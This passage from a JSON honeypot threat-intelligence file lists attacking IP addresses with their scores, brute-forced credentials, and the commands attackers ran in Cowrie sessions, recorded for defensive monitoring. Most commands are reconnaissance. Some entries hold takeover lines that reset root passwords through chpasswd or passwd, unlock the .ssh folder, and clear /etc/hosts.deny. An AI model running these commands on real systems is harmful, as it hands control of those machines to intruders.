        "echo -e \"12345\\novpMI1LB2I6H\\novpMI1LB2I6H\"|passwd|bash",
        "echo -e \"dario123\\npgc2aQFF9s42\\npgc2aQFF9s42\"|passwd|bash",
        "echo -e \"srspass\\nzhzjVHT1vobL\\nzhzjVHT1vobL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 35.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T23:37:18.243000+00:00",
        "last_seen_30d": "2026-03-26T11:56:20.106000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 48
      }
    },
    "184.166.209.201": {
      "attack_count": 260,
      "first_seen": "2026-03-25T22:32:42.019Z",
      "last_seen": "2026-03-31T05:38:40.721Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789vasile",
        "12346",
        "130590",
        "1qaz!QAZ2wsx@WSX",
        "201314",
        "90909090",
        "Admin04",
        "P@2026",
        "P@ssW0rd",
        "QwEOktogonkft2024",
        "Welcome_1",
        "Zh123456@",
        "abc@2025",
        "admin1@3",
        "deng123456",
        "founder",
        "futuro1inovador",
        "gmod"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:I1PtlrL37Fgm\"|chpasswd|bash",
        "echo \"root:mtaQhDNTqm6M\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Belgrade",
      "asn": 33588,
      "as_org": "Charter Communications LLC",
      "threat_score": 43.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T22:32:42.019000+00:00",
        "last_seen_30d": "2026-03-31T05:39:46.940000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 260,
        "Suricata": 74
      }
    },
    "175.144.16.85": {
      "attack_count": 237,
      "first_seen": "2026-03-08T04:12:46.169Z",
      "last_seen": "2026-03-23T21:58:42.733Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "User",
        "ai",
        "clement",
        "cockpit",
        "daniel",
        "emma",
        "ftptest",
        "mohsen",
        "myadmin",
        "n8n",
        "pyramid",
        "recovery",
        "squid",
        "tfserver",
        "webadmin",
        "wes"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "1234",
        "Clement123!",
        "Daniel123!",
        "Docker!",
        "Ftptest123",
        "QWEasd123...",
        "Root123.",
        "Squid123!",
        "Tfserver123!",
        "Wes123",
        "ai123!",
        "emma1234",
        "myadmin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"11111111\\nxclkE9Ub1S7Z\\nxclkE9Ub1S7Z\\n\"|passwd",
        "echo \"root:ARpT4wl4EezN\"|chpasswd|bash",
        "echo -e \"11111111\\nxclkE9Ub1S7Z\\nxclkE9Ub1S7Z\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Ipoh",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:12:46.169000+00:00",
        "last_seen_30d": "2026-03-23T21:59:52.001000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 237,
        "Suricata": 56
      }
    },
    "52.233.193.61": {
      "attack_count": 237,
      "first_seen": "2026-03-15T13:15:46.374Z",
      "last_seen": "2026-03-20T11:55:51.621Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "erp",
        "keycloak",
        "root",
        "bai",
        "desktop",
        "dj",
        "efs",
        "jagdish",
        "joshua",
        "lee",
        "mc",
        "mexal",
        "odoo12",
        "pp",
        "proradis",
        "redhat",
        "shares",
        "simone",
        "zxy"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Bai123!",
        "Dj123",
        "Joshua123!",
        "Mexal123!",
        "efs123!",
        "erp123",
        "keycloak",
        "root123...",
        "shares123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"keycloak\\noKcpIPK5fJ2T\\noKcpIPK5fJ2T\\n\"|passwd",
        "echo \"root:Z2KOzIFlymHI\"|chpasswd|bash",
        "echo -e \"keycloak\\noKcpIPK5fJ2T\\noKcpIPK5fJ2T\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T13:15:46.374000+00:00",
        "last_seen_30d": "2026-03-20T11:56:55.711000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 237,
        "Suricata": 56
      }
    },
    "61.72.55.130": {
      "attack_count": 237,
      "first_seen": "2026-03-02T05:21:34.373Z",
      "last_seen": "2026-03-24T12:00:52.116Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "vendas",
        "cristi",
        "manager",
        "mitra",
        "mob",
        "passbolt",
        "trans",
        "viper",
        "webftp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "1q2w3e4r5t!@#",
        "1qw23er45ty6",
        "6688",
        "A12345@",
        "Aa112211..",
        "Abc1234!",
        "Root12345!",
        "Viper123!",
        "abc123@@@",
        "command",
        "james",
        "mike"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nUp5YVC90EmEL\\nUp5YVC90EmEL\\n\"|passwd",
        "echo \"root:tSEUTFGPGAnl\"|chpasswd|bash",
        "echo -e \"123\\nUp5YVC90EmEL\\nUp5YVC90EmEL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongbuk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.7,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T05:21:34.373000+00:00",
        "last_seen_30d": "2026-03-24T12:01:55.705000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 237,
        "Suricata": 57
      }
    },
    "41.242.115.84": {
      "attack_count": 215,
      "first_seen": "2026-03-17T06:25:05.103Z",
      "last_seen": "2026-03-26T14:25:53.412Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "admin",
        "user02",
        "usuario",
        "astra",
        "dheeraj",
        "gittest",
        "kipt",
        "md",
        "mk",
        "tibero",
        "toor",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "123456",
        "Abcd1234!@#$",
        "Dheeraj123",
        "Pa$$w0rd2024",
        "Qaz123456",
        "admin",
        "gittestpass",
        "mdpass",
        "mkpass",
        "tibero123",
        "user02123",
        "vpn123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:xuhlafilefVQ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Ghana",
      "country_code": "GH",
      "city": "Accra",
      "asn": 37613,
      "as_org": "Dolphin-Telecom-AS",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 272,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:25:05.103000+00:00",
        "last_seen_30d": "2026-03-26T14:27:03.132000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 215,
        "Suricata": 57
      }
    },
    "180.252.203.153": {
      "attack_count": 213,
      "first_seen": "2026-03-19T10:40:17.147Z",
      "last_seen": "2026-03-19T11:15:16.672Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "hu",
        "ram",
        "xh",
        "b",
        "blog",
        "fastuser",
        "invoices",
        "mahesh",
        "misha",
        "one",
        "spegni",
        "system",
        "tsminst1",
        "user11"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "B123",
        "fastuser123",
        "hu123",
        "hupassword",
        "invoicespass",
        "maheshpassword",
        "password",
        "rampassword",
        "spegni@123",
        "system123",
        "tsminst1123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nP2XXP3GHxS8j\\nP2XXP3GHxS8j\\n\"|passwd",
        "echo \"rampassword\\nAxwp1aDORQ52\\nAxwp1aDORQ52\\n\"|passwd",
        "echo -e \"123456\\nP2XXP3GHxS8j\\nP2XXP3GHxS8j\"|passwd|bash",
        "echo -e \"rampassword\\nAxwp1aDORQ52\\nAxwp1aDORQ52\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Makassar",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T10:40:17.147000+00:00",
        "last_seen_30d": "2026-03-19T11:16:25.578000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 45
      }
    },
    "41.66.220.84": {
      "attack_count": 212,
      "first_seen": "2026-03-05T15:58:48.830Z",
      "last_seen": "2026-03-06T13:59:24.929Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pyramid",
        "admin",
        "dmdba",
        "docker",
        "edu",
        "github-runner",
        "orders",
        "ubuntu",
        "vpnadmin",
        "wireguard",
        "yan"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "@qwer2025",
        "@qwer2026",
        "Docker123!",
        "Orders123",
        "P@ssw0rd23",
        "Server123@",
        "a12345678b",
        "aA!123456",
        "dmdba123",
        "password",
        "pyramid123",
        "yanpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"pyramid123\\nhGVV2srMan6I\\nhGVV2srMan6I\\n\"|passwd",
        "echo \"root:Wl7PiJAYNtDa\"|chpasswd|bash",
        "echo -e \"pyramid123\\nhGVV2srMan6I\\nhGVV2srMan6I\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ghana",
      "country_code": "GH",
      "city": "Accra",
      "asn": 29614,
      "as_org": "VODAFONE GHANA AS INTERNATIONAL TRANSIT",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:58:48.830000+00:00",
        "last_seen_30d": "2026-03-06T14:00:30.217000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 45
      }
    },
    "158.69.213.129": {
      "attack_count": 193,
      "first_seen": "2026-03-09T21:08:28.009Z",
      "last_seen": "2026-03-09T21:29:50.065Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "gianluca",
        "zhenshan",
        "7days",
        "andres",
        "clawd",
        "docker",
        "farmacia",
        "sky",
        "user",
        "won",
        "yujie"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "7days",
        "P@ssw0rd",
        "Won123",
        "clawd123",
        "farmacia",
        "skypass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\n5jUpPqnnyNJs\\n5jUpPqnnyNJs\\n\"|passwd",
        "echo \"123\\nDFSE6HgrMX6G\\nDFSE6HgrMX6G\\n\"|passwd",
        "echo -e \"12345\\n5jUpPqnnyNJs\\n5jUpPqnnyNJs\"|passwd|bash",
        "echo -e \"123\\nDFSE6HgrMX6G\\nDFSE6HgrMX6G\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T21:08:28.009000+00:00",
        "last_seen_30d": "2026-03-09T21:30:57.904000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "157.7.113.83": {
      "attack_count": 188,
      "first_seen": "2026-03-09T16:00:10.934Z",
      "last_seen": "2026-03-09T16:19:59.081Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "inversiones",
        "nexus",
        "abdullah",
        "auser",
        "bench",
        "common",
        "customer",
        "django",
        "family",
        "stan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "Common123",
        "abdullah",
        "admin",
        "auser@123",
        "django123",
        "inversionespass",
        "password",
        "stanpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"admin\\n99KO8Vrt92G2\\n99KO8Vrt92G2\\n\"|passwd",
        "echo \"inversionespass\\ntgUpDC18lgen\\ntgUpDC18lgen\\n\"|passwd",
        "echo -e \"admin\\n99KO8Vrt92G2\\n99KO8Vrt92G2\"|passwd|bash",
        "echo -e \"inversionespass\\ntgUpDC18lgen\\ntgUpDC18lgen\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 7506,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T16:00:10.934000+00:00",
        "last_seen_30d": "2026-03-09T16:21:04.114000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "189.147.255.203": {
      "attack_count": 188,
      "first_seen": "2026-03-23T12:45:20.468Z",
      "last_seen": "2026-03-23T13:04:17.647Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "mgeweb",
        "pilot",
        "android",
        "es",
        "github",
        "labs",
        "maarch",
        "nominatim",
        "patricia",
        "peertube"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "Maarch123",
        "es1234",
        "githubpass",
        "mgeweb1234",
        "patricia1234",
        "pilot"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"mgeweb1234\\nDhH3YQwJL25h\\nDhH3YQwJL25h\\n\"|passwd",
        "echo \"pilot\\nYKlXmtyHaVUT\\nYKlXmtyHaVUT\\n\"|passwd",
        "echo -e \"mgeweb1234\\nDhH3YQwJL25h\\nDhH3YQwJL25h\"|passwd|bash",
        "echo -e \"pilot\\nYKlXmtyHaVUT\\nYKlXmtyHaVUT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Benito Juarez",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T12:45:20.468000+00:00",
        "last_seen_30d": "2026-03-23T13:05:25.210000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "192.3.179.41": {
      "attack_count": 186,
      "first_seen": "2026-03-02T11:05:45.285Z",
      "last_seen": "2026-03-02T11:26:33.515Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0",
        "100200300",
        "A321654987",
        "P@SSW0RD",
        "QAZwsx123.",
        "QWer1234",
        "a04090409b",
        "a1234567z",
        "a321.123",
        "toor@1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
